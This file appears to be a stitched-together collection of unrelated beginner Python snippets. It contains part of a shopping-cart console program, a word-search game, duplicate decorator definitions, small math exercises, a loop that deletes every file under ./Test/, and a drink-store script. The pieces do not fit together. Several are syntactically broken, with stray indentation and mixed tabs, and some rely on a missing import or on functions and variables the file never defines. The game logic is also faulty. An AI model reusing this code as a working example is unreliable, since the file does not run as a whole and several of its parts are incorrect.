            except UnboundLocalError:
                continue
    # Used to troubleshoot class attribution error where item_wanted was a string class and could not be identified as an item. Essentially takes item_wanted and its string class, and finds a variable in this code with the same name, and then goes from there.
    #while True:
    qnty_removed = int(input("Enter the quantity of the item you would like to have removed (qnty removed <= qnty in cart): "))
    # Asks for user input for item quantity desired.
        #if qnty_removed > customer_name.GetCart(cart_num_for_removal[item_removed][1]):
            #print("\nERROR: The quantity you input to have removed is above the quantity of the specified item that you bought. Choose only a value less than or equal to the quantity in your cart.\n")   
            #continue
        #else:
    item_removed_variable.itemstock += qnty_removed
            #break
    customer_name.BuyCancle(item_removed_variable, qnty_removed, cart_num_for_removal)
    total_price_for_item_removed = float(item_removed_variable.itemprice * qnty_removed)
    print("\nYou are removing", qnty_removed, str(item_removed) + "s in Cart", cart_num_for_removal, "worth", item_removed_variable.itemprice, "USD each. This will remove a total of", total_price_for_item_removed, "USD from the original total.")
    print("\nThe stock for", item_removed, "is now", str(item_removed_variable.itemstock) + ".")
    okay()
    print("")
    print(str(customer_name.customer_name) + "'s Cart", cart_num_for_removal, "now has: %s" % customer_name.GetCart(cart_num_for_removal))
    print("""\nFormat to read cart is: {'item_name': [unit price (USD), quantity]}
\nTo calculate total price (USD), go through each item in the cart, and multiply the unit price by the quantity.""")
    # Removes the item and quantity in the cart specified.
 
 
### UI Functioning Process ###
 
# User Input Warning #
 
print("**Program Note:**\n\nAll user inputs are CASE SENSITIVE. When typing a response given a set of options, please make sure input is case sensitive to the option. Furthermore, in the following program, at some point you may be required to enter the name of an 'item'. When prompted so, please make sure the name of the item is Title Case.\n\n")
 
print("-----\n\n")
 
# Initial Greeting #
 
print("Welcome to Capitalist Market! Everything and anything is offered here in all sorts of ranges, just with a bit of a twist on the pricing. Enjoy shopping here, and follow the steps appropriately for the best service.")
 
# Shop Function #
 
import sys
# Module that implements usage of a 'main menu' to make things easier.
 
from random import randint
# Module that was used for generating random user ID.
 
def MainMenu():
    while True:
        try:
            option = int(input("""\n-----\n
Select a number for the action that you would like to do (it is recommended to go in respective ascending order):\n
            1. Create your customer shopping account
            2. View all items available for purchase
            3. Add items to a shopping cart
            4. Proceed to checkout
            5. View past order history
            6. Exit shopping session
            \nEnter Your Choice: """))
            
            # Asks user to choose one of the numbers to continue on to the specified option.
        
        except ValueError:
            print("\nERROR: You did not make a valid selection. Choose only one of the digits from the given options.")
            continue
        
            # In the case that user enters an incorrect input; restarts the loop and asks again.
        
        else:
            if option == 1:
                print("\nHello! Let's create your shopping account. A few details will be needed, and there will be a few fewsmall things to note down.\n")
                confirming_response1 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response1 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    name = str(input("To create your account, we will need your name. Please enter it: "))
                    print("\nThank you. You're account will be under this name. Also, you'll need an ID for the account, which is below:\n")
                    random_id = randint(1111, 9999)
                    print(str(random_id))
                    print("\nIt'll be helpful to remember these for your own use once we obtain a log-in system. For now, though, this information will serve helpful for us to keep track of your account.\n")
                    global customer_name
                    customer_name = name
                    customer_name = Customer(customer_name, random_id)
                    print("\nThe following confirms your account:\n")
                    print(customer_name.customer_name)
                    print(customer_name.customer_id)
                    okay()
                    print("\nAll right! So your account is now created. You can use this to continue on with your shopping process.")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
    
            if option == 2:
                print("\nHello! So you would like to see what we have to offer? No problem!\n")
                confirming_response2 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response2 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    print("We have a growing inventory of items to offer. You don't need to worry about the stock at the moment; we have more than you can count. Anyway, below is a list of the current inventory of items and unit prices (USD) for each:\n\n")
                    ShowItems()
                    print("\n\nThose are our concurrent items available for you to buy. Hopefully something catches your eye. Remember these items, as you'll want the full list when moving onto the buying process!")
                    okay()
                    print("\nAll right! So you're ready now. You can use this list later on in the shopping process.")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
    
            elif option == 3:
                print("\nHello! So you would like add items to your cart? No problem, let's get you through the process!\n")
                confirming_response3 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response3 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    exit_loop = 0
                    global cart_num
                    cart_num = 0
                    while exit_loop == 0:
                        print("If you have not already seen, we have a growing inventory of items to offer. Keep in mind a specific item (or items) you would like to purchase.\n")
                        print("First off, before buying, you'll need to obtain a shopping cart. Luckily, this is virtual, and we'll create a digital shopping cart for you. If this is not your first time going through this process, a new cart defined by the next ascending natural number will be made.")
                        okay()
                        customer_name.AddCart()
                        cart_num += 1
                        print("\nAll right! A new cart has been created. You may now move on to the adding process.\n")
                        print("\nSo, let's add some of the items you would like.\n")
                        exit_item_buying_loop = 0
                        while exit_item_buying_loop == 0:
                            add_item_to_cart_function()
                            exit_item_bl_prompt = int(input("\n\nIf you are done adding items to the cart, then type '1'. Else, if you want to keep adding items, type '0': "))
                            print("")
                            if exit_item_bl_prompt == 1:
                                break
                            else:
                                continue
                        print("\nThank you for adding items to your cart; that completes this session. Hopefully you got everything you wanted.")
                        okay()
                        print("\nAll right! So that was Cart %s.\n" % cart_num)
                        exit_loop_prompt = int(input("Do you want to make a new session with a new cart and buy more items again? Or do you simply wish to continue back to the menu? Type '1' if you wish to exit back to the menu, and type '0' if you wish to start another session: "))
                        if exit_loop_prompt == 1:
                            print("\nOkay! Enough of the shopping spree, back to the main menu it is!\n")
                            break
                        else:
                            print("\nOkay! Continue the shopping spree!\n")
                            continue
                        continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
    
            elif option == 4:
                print("\nHello! So you would like to proceed to checkout? No problem! Hopefully you have something in your cart(s).\n")
                confirming_response4 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response4 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    print("\nBelow is your full bill, which accounts every cart you had and the quantity of items in each. Read it carefully before proceeding.\n\n")
                    customer_name.CheckOut()
                    okay()
                    print("\nNow, this is your opportunity to cancel any orders of the items you bought and remove them from the bill.\n")
                    bill_prompt = str(input("Would you like to remove anything?\nYes or No: "))
                    if bill_prompt == "Yes":
                        print("\nAll right! We'll undergo the process of removing certain items.\n")
                        print("So, let's remove some of the items you would like.\n")
                        exit_item_removing_loop = 0
                        while exit_item_removing_loop == 0:
                            remove_item_from_cart_function()
                            exit_item_rl_prompt = int(input("\nIf you are done removing items from the cart(s), then type '1'. Else, if you want to keep removing items, type '0': "))
                            if exit_item_rl_prompt == 1:
                                break
                            else:
                                continue
                    else:
                        print("\nNo? Okay! Let the process continue.\n")
                    print("\nHere is your final bill:")
                    customer_name.CheckOut()
                    okay()
                    print("\nVery well! So you've checked out your items now. You can either repeat the process and explore further or go see your order history if you have checked out several times.\n")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
            
            elif option == 5:
                print("\nHello! Want to see your order history? Okay!\n")
                confirming_response5 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response5 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    print("\nAssuming you have bought items recently, below is your order history:\n\n")
                    customer_name.ViewOrderHistory()
                    print("\n\nThere's your order history! There's nothing very special you can do with it, apart from totalling up everything you have bought.")
                    okay()
                    print("\nVery well then. At this point, you can either go back and explore the store again or you can visit the main menu and leave the store.\n")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
 
            elif option == 6:
                confirming_response6 = input("\n\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response6 == 'Yes':
                    print("\n\nLeaving already? All right! Thank you for shopping here at Capitalist Market. Hope to see you again soon!")
                    okay()
                    sys.exit()
                    # Forcefully turns off the function and stops the code. 
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
 
# Running Code Process #
 
MainMenu()
 
# Runs function MainMenu() aka the whole code.
 
 
### Testing And Miscellaneous ###
 
# No testing left.
 
# Future Work Notes #
 
"""
* Implement log-in/log-out systems possibly and make it so there can be several accounts running at the same time.
 
* Implement subclasses of items (i.e. food, appliances).

* Properly implement price calculation system.

* Properly implement stock management system.
"""
def diagonal_word() :
    word = words_arr[random.randint(0,23)]
    i_first = random.randint(0,arr_rows-3)
    i = i_first
    j = random.randint(0,arr_columns-3)
    element_occupied = False
    for k in range(0,len(word)):
        if (i - k + len(word) - 1 > arr_rows - 1) or (j - k + len(word) - 1 > arr_columns - 1):
            element_occupied = True
            break
        if ((arr[i][j] != " ")&(arr[i][j] != word[k])):
            element_occupied = True
            i -= k
            j -= k
            break
        i += 1
        j += 1
        if k == len(word) - 1:
            i -= k + 1
            j -= k + 1
    if element_occupied == False:
        for k in range(0,len(word)):
            arr[i][j] = word[k]
            i += 1
            j += 1
            if k == len(word) - 1:
                i -= k + 1
                j -= k + 1
        for k in range(0,len(word)):
            hidden_words_arr[i][j] = word[k]
            i += 1
            j += 1
        return i - k - 1
    else :
        return diagonal_word()
def horizontal_word(count,index):
    count += 1
    if count == 950 :
        return -1
    word = words_arr[random.randint(0,162)]
    if check_word(word) == True or arr[i][3] != " " or arr[i][6] != " ":
        return horizontal_word(count,index)
    i_first = random.randint(1,arr_rows-2)
    i = i_first
    j = random.randint(0,arr_columns-5)
    element_occupied = False
    for k in range(0,len(word)):
        if (j - k + len(word) - 1) > (arr_columns - 1):
            element_occupied = True
            break
        #print(element_occupied)
        if ((arr[i][j] != " ")&(arr[i][j] != word[k])):
            element_occupied = True
            j -= k
            break
        #print(element_occupied)
        j += 1
        if k == len(word) - 1:
            j -= k + 1
    if element_occupied == False:
        for k in range(0,len(word)):
            arr[i][j] = word[k]
            j += 1
            if k == len(word) - 1:
                j -= k + 1
        for k in range(0,len(word)):
            hidden_horizontal_words_arr[i][j] = word[k]
            j += 1
        arr1[index] = word
        return count
    else :
        return horizontal_word(count,index) 
def vertical_word(count,index):
    count += 1 
    if count == 950:
        return -1
    word = words_arr[random.randint(0,162)]
    if check_word(word) == True:
        return vertical_word(count,index)
    i_first = random.randint(0,arr_rows - 5)
    i = i_first
    j = random.randint(1,arr_columns - 2)
    element_occupied = False
    for k in range(0,len(word)):
        if (i - k + len(word) - 1 > arr_rows-1) :
            element_occupied = True
            break
        if ((arr[i][j] != " ")&(arr[i][j] != word[k])):
            element_occupied = True
            i -= k
            break
        if 1:
            i += 1
        if k == len(word) - 1:
           i -= k + 1
    if element_occupied == False:
        for k in range(0,len(word)):
            arr[i][j] = word[k]
            i += 1
            if k == len(word) - 1:
                i -= k + 1
        for k in range(0,len(word)):
            hidden_vertical_words_arr[i][j] = word[k]
            i += 1
        arr1[index] = word
        return count
    else :
        return vertical_word(count,index)   
def clear_array():
    for i in range(0,arr_rows):
        for j in range(0,arr_columns):
            arr[i][j] = " "
    for i in range(0,arr_rows):
        for j in range(0,arr_columns):
            hidden_horizontal_words_arr[i][j] = " "
    for i in range(0,arr_rows):
        for j in range(0,arr_columns):
            hidden_vertical_words_arr[i][j] = " "
def complete_array():
    for i in range(0,arr_rows):
        for j in range(0,arr_columns):
            if arr[i][j] == " ":
                arr[i][j] = letters_arr[random.randint(0,25)]
def check_word(word):
    check_word_arr = [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']
    for i in range(0,arr_rows):
        check_word_arr[i] = arr[i][0]
        for j in range(1,arr_columns):
            check_word_arr[i] += arr[i][j]
    for j in range(0,arr_rows):
        check_word_arr[arr_rows + j] += arr[0][j]
        for i in range(1,arr_columns):
            check_word_arr[arr_rows + j] += arr[i][j]
    for i in range(0,arr_rows + arr_columns):
        if word in check_word_arr[i] :
            return True
    return False
import random
import time
letters_arr = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
#words_arr = ['apple','chair','company','elevator','television','summer','price','garden','phone','car','ice','desk','cake','board','bus']
#words_arr = ['autumn', 'bathroom', 'body', 'christmas', 'clothes', 'colour', 'food', 'fruits', 'furniture', 'pets', 'school', 'sport', 'spring', 'town', 'toys', 'balloons', 'banana', 'bank', 'basket', 'basketball', 'bat', 'bath', 'bed', 'bee']
#words_arr = ['Lewandowski', 'shed', 'tears', 'after', 'scoring', 'in', 'the', '82nd', 'minute.', 'He', 'raced', 'toward', 'the', 'corner', 'with', 'his', 'arms', 'outstretched,', 'then', 'stayed', 'slumped', 'on', 'the', 'field', 'as', 'teammates', 'rushed', 'to', 'congratulate', 'him.', 'He', 'got', 'up,', 'rubbed', 'his', 'face,', 'and', 'blew', 'a', 'kiss', 'to', 'the', 'crowd.', 'Today', 'everything', 'I', 'had', 'inside,', 'the', 'dreams,', 'the', 'importance', 'of', 'the', 'occasion,', 'all', 'those', 'dreams', 'from', 'my', 'childhood', 'came', 'through,', 'Lewandowski', 'said.', 'It', 'was', 'so', "significant.''One", 'of', 'the', 'best', 'forwards', 'in', 'the', 'world,', "Lewandowski's", 'barren', 'streak', 'at', 'the', 'World', 'Cup', 'was', 'somewhat', 'puzzling.', 'Now,', 'in', 'his', 'fifth', 'match', 'at', 'the', 'tournament,', "it's", 'over.', 'I', 'always', 'wanted', 'to', 'score', 'at', 'the', 'World', 'Cup', 'and', 'this', 'dream', 'came', "true,''", 'said', 'Lewandowski,', 'who', 'had', 'a', 'penalty', 'saved', 'in', "Poland's", '0-0', 'draw', 'with', 'Mexico', 'on', 'Tuesday.', "``It's", 'not', 'easy,', 'because', 'we', "didn't", 'have', 'many', 'opportunities', 'in', 'the', 'first', 'match', 'and', 'I', 'missed', 'that', "penalty.''Against", 'Saudi', 'Arabia,', 'Lewandowski', 'also', 'set', 'up', 'the', 'opener', 'in', 'the', '40th', 'minute', 'when', 'he', 'kept', 'the', 'ball', 'in', 'play', 'after', 'goalkeeper', 'Mohammed', "Al-Owais'", 'initial', 'block,', 'then', 'laid', 'it', 'back', 'for', 'Piotr', 'Zielinski', 'to', 'knock', 'in.', 'Lewandowski,', 'who', 'had', 'no', 'involvement', 'in', 'any', 'goals', 'in', 'his', 'first', 'four', 'World', 'Cup', 'games,', 'also', 'hit', 'the', 'post,', 'and', 'Al-Owais', 'later', 'denied', 'the', 'Barcelona', 'player', 'from', 'scoring', 'another', 'goal', 'toward', 'the', 'end', 'of', 'the', 'match.', 'It', 'was', 'the', 'one', 'that', 'went', 'in', 'that', 'brought', 'tears', 'to', 'the', '34-year-old', "striker's", 'eyes.', 'The', 'older', 'I', 'get,', 'the', 'more', 'emotional', 'I', "get,''", 'Lewandowski', 'said,', 'referring', 'to', 'his', 'reaction', 'after', 'finally', 'scoring.', "``I'm", 'aware', 'that', 'when', 'it', 'comes', 'to', 'the', 'World', 'Cup,', 'that', 'this', 'might', 'be', 'my', 'last', 'World', 'Cup.', 'And', 'I', 'wanted', 'to', 'underline', 'that', 'I', 'played', 'at', 'World', 'Cups', 'and', 'I', "scored.''Poland", 'coach', 'Czeslaw', 'Michniewicz', 'said', 'he', "wasn't", 'surprised', 'by', "Lewandowski's", 'moving', 'reaction.', 'I', 'know', 'how', 'deeply', 'he', 'lived', 'the', 'last', "match,''", 'Michniewicz', 'said.', "``I'm", 'very', 'sorry', 'he', "wasn't", 'lucky', 'enough,', 'he', 'hit', 'the', 'post', 'and', 'the', 'goalkeeper', 'made', 'a', 'save.', 'He', 'could', 'have', 'had', 'a', 'hat', 'trick', "today.''Poland", 'was', 'scrambling', 'for', 'long', 'periods', 'at', 'the', 'Education', 'City', 'Stadium', 'as', 'the', 'Saudi', 'team', 'was', 'pushed', 'forward', 'by', 'enthusiastic', 'fans', 'in', 'what', 'seemed', 'like', 'a', 'home', 'game.', 'The', 'frustration', 'was', 'clear', 'on', "Lewandowski's", 'face', 'as', "Poland's", 'yellow', 'cards', 'mounted.', 'Saudi', 'Arabia', 'had', 'a', 'chance', 'to', 'equalize', 'at', 'the', 'end', 'of', 'the', 'first', 'half', 'but', 'Poland', 'goalkeeper', 'Wojciech', 'Szczesny', 'saved', 'Salem', "Al-Dawsari's", 'penalty', 'kick.', 'He', 'then', 'blocked', 'Mohammed', "Al-Burayk's", 'shot', 'from', 'the', 'rebound.']
words_arr = ['Afghanistan', 'Albania', 'Algeria', 'Andorra', 'Angola', 'Argentina', 'Armenia', 'Australia', 'Austria', 'Azerbaijan', 'Bahrain', 'Bangladesh', 'Barbados', 'Belarus', 'Belgium', 'Belize', 'Benin', 'Bhutan', 'Bolivia', 'Botswana', 'Brazil', 'Brunei', 'Bulgaria', 'Burkina', 'Faso', 'Burundi', 'Cabo', 'Cambodia', 'Cameroon', 'Canada', 'Chad', 'Chile', 'China', 'Colombia', 'Comoros', 'Congo', 'Croatia', 'Cuba', 'Cyprus', 'Czech', 'Republic', 'Denmark', 'Djibouti', 'Dominica', 'Ecuador', 'Egypt', 'Salvador', 'Eritrea', 'Estonia', 'Eswatini', 'Ethiopia', 'Fiji', 'Finland', 'France', 'Gabon', 'Georgia', 'Germany', 'Ghana', 'Greece', 'Grenada', 'Guatemala', 'Guinea', 'Guyana', 'Haiti', 'Honduras', 'Hungary', 'Iceland', 'India', 'Indonesia', 'Iran', 'Iraq', 'Ireland', 'Italy', 'Jamaica', 'Japan', 'Jordan', 'Kazakhstan', 'Kenya', 'Kiribati', 'Kosovo', 'Kuwait', 'Kyrgyzstan', 'Laos', 'Latvia', 'Lebanon', 'Lesotho', 'Liberia', 'Libya', 'Liechtenstein', 'Lithuania', 'Luxembourg', 'Madagascar', 'Malawi', 'Malaysia', 'Maldives', 'Mali', 'Malta', 'Mauritania', 'Mauritius', 'Mexico', 'Moldova', 'Monaco', 'Mongolia', 'Montenegro', 'Morocco', 'Mozambique', 'Namibia', 'Nauru', 'Nepal', 'Netherlands', 'Zealand', 'Nicaragua', 'Niger', 'Nigeria', 'Norway', 'Oman', 'Pakistan', 'Palau', 'Panama', 'Paraguay', 'Peru', 'Philippines', 'Poland', 'Portugal', 'Qatar', 'Romania', 'Russia', 'Rwanda', 'Samoa', 'Senegal', 'Serbia', 'Seychelles', 'Singapore', 'Slovakia', 'Slovenia', 'Somalia', 'Spain', 'Sudan', 'Suriname', 'Sweden', 'Switzerland', 'Syria', 'Taiwan', 'Tajikistan', 'Tanzania', 'Thailand', 'Togo', 'Tonga', 'Tunisia', 'Turkey', 'Turkmenistan', 'Tuvalu', 'Uganda', 'Ukraine', 'Uruguay', 'Uzbekistan', 'Vanuatu', 'Vatican', 'Venezuela', 'Vietnam', 'Yemen', 'Zambia', 'Zimbabwe']
arr1 = [' ' , ' ' , " " , " " , " " , " " , " " , " " , " " , " " , " " , " " , " "]
word1 = "word1"
word2 = "word2"
word3 = "word3"
score = 0
print("spot the hidden words\n\n")

arr = [[' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']]
hidden_vertical_words_arr = [[' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']]
hidden_horizontal_words_arr = [[' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']]
arr_rows = 7
arr_columns = 7
count = 0
player_answers = "right"
while (1):
    i_indices = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
    for i in range(0,6) :
        random_number = random.randint(1,2)
        count = 0
        if random_number == 0 :
            count = diagonal_word()
        #elif random_number == 1 :
        if i%2 == 0:
            count = vertical_word(count,i)
        else :
            count = horizontal_word(count,i)
        if count == -1 :
            clear_array()
            break
        #print(count)
        #print(count , " ", end = "")
    if count == -1 :
        continue 
    #else :
        #print(" ")
        #print("array completed")
    #complete_array()
    c = 1
    print(" "," "," ",end = "")
    for i in range(0,arr_columns):
        if (hidden_vertical_words_arr[3][i] != " " or hidden_vertical_words_arr[6][i] != " "):
            print(c," ",end = "")
            c += 1
        else :
            print(" "," ",end = "")
    print()
    print(" "," "," ",end = "")
    for i in range(0,arr_columns):
        if (hidden_vertical_words_arr[3][i] != " " or hidden_vertical_words_arr[6][i] != " "):
            print("v"," ",end = "")
        else :
            print(" "," ",end = "")
    print()
    for i in range(0,arr_rows):
        if (hidden_horizontal_words_arr[i][3] != " " or hidden_horizontal_words_arr[6][i] != " "):
            print(c,">"," ",end = "")
            c += 1
        else :
            print(" "," "," ",end = "")
        for j in range(0,arr_columns):
            if arr[i][j] == " " :
                print(arr[i][j]," ",end = "")
            else:
                print("_"," ",end = "")
        print()
    print()
    begin_time = time.time()
    for i in range(0,6):
        word = print()
    if (time.time() - begin_time < 1 and player_answers == "right"):
        score += 4
        print(" ")
        print("   ")
        print()
    else:
        print(f"your score is {score}")
        print("hidden words were:\n\n")
        for i in range(0,arr_rows):
            for j in range(0,arr_columns):
                print(arr[i][j]," ",end = "")
            print()
        print(arr1)
        player_answers = "right"
        break
    clear_array()
def my_decorator(func):
    def wrapper():
        func()
		func()

    return wrapper
def my_decorator(func):
    def wrapper():
        print("I'm before the method call")
        func()
        print("I'm after the method call")
    
    return wrapper
n=5
s=0
for i in range(1,n+1):
    # adding cube sum using pow() function
    s=s+pow(i,3)
print(s)   
def prime(x, y):
    prime_list = []
    for i in range(x, y):
        if i == 0 or i == 1:
            continue
        else:
            for j in range(2, int(i/2)+1):
                if i % j == 0:
                    break
            else:
                prime_list.append(i)
    return prime_list
 starting_range = 2
ending_range = 7
lst = prime(starting_range, ending_range)
if len(lst) == 0:
    print("There are no prime numbers in this range")
else:
    print("The prime numbers in this range are: ", lst)
def findArea(r):
    PI = 3.142
    return PI * (r*r);
 
# Driver method
print("Area is %.6f" % findArea(5));
def power(x, y):
     
    if y == 0:
        return 1
    if y % 2 == 0:
        return power(x, y // 2) * power(x, y // 2)
         
    return x * power(x, y // 2) * power(x, y // 2)
 
def order(x):
 
    # Variable to store of the number
    n = 0
    while (x != 0):
        n = n + 1
        x = x // 10
         
    return n
 
def isArmstrong(x):
     
    n = order(x)
    temp = x
    sum1 = 0
     
    while (temp != 0):
        r = temp % 10
        sum1 = sum1 + power(r, n)
        temp = temp // 10
 
    # If condition satisfies
    return (sum1 == x)
 
# Driver code
x = 153
print(isArmstrong(x))
 
x = 1253
print(isArmstrong(x))
import math 
 
def isPerfectSquare(x):
    s = int(math.sqrt(x))
    return s*s == x
 
 
def isFibonacci(n):
 
    # n is Fibonacci if one of 5*n*n + 4 or 5*n*n - 4 or both
    # is a perfect square
    return isPerfectSquare(5*n*n + 4) or isPerfectSquare(5*n*n - 4)
 
 for i in range(1, 11):
    if (isFibonacci(i) == True):
        print(i, "is a Fibonacci Number")
    else:
        print(i, "is a not Fibonacci Number ")
for dirpath, dirnames, filenames in os.walk("./Test/"):
    # Remove regular files, ignore directories
    for filename in filenames:
        os.unlink(os.path.join(dirpath, filename))
price = {"Lemonade": 1.50, "Coke": 2.00, "Fanta": 1.00, "Water": 0.50}
shopping_basket = {}

print("Welcome to the online drink store!\nThese are the drinks we offer.\n1. Lemonade: £1.50\n2. Coke: £2.00\n3. Fanta £1.00\n4. Water: £0.50\n")

buy_another_flag = 1
total_cost, total = 0, 0

while buy_another_flag != 0:
    option = int(input("Which drink would you like to purchase?: "))

    if option == 1:
        qnty = int(input("Enter the quantity: "))
        total = qnty * 1.50
        print("The price is: " + str(total))
    elif option == 2:
        qnty = int(input("Enter the quantity: "))
        total = qnty * 2.00
        print("The price is: " + str(total))
    elif option == 3:
        qnty = int(input("Enter the quantity: "))
        total = qnty * 1.00
        print("The price is: " + str(total))
    elif option == 4:
        qnty = int(input("Enter the quantity: "))
        total = qnty * 0.50
        print("The price is: " + str(total))

    total_cost += total

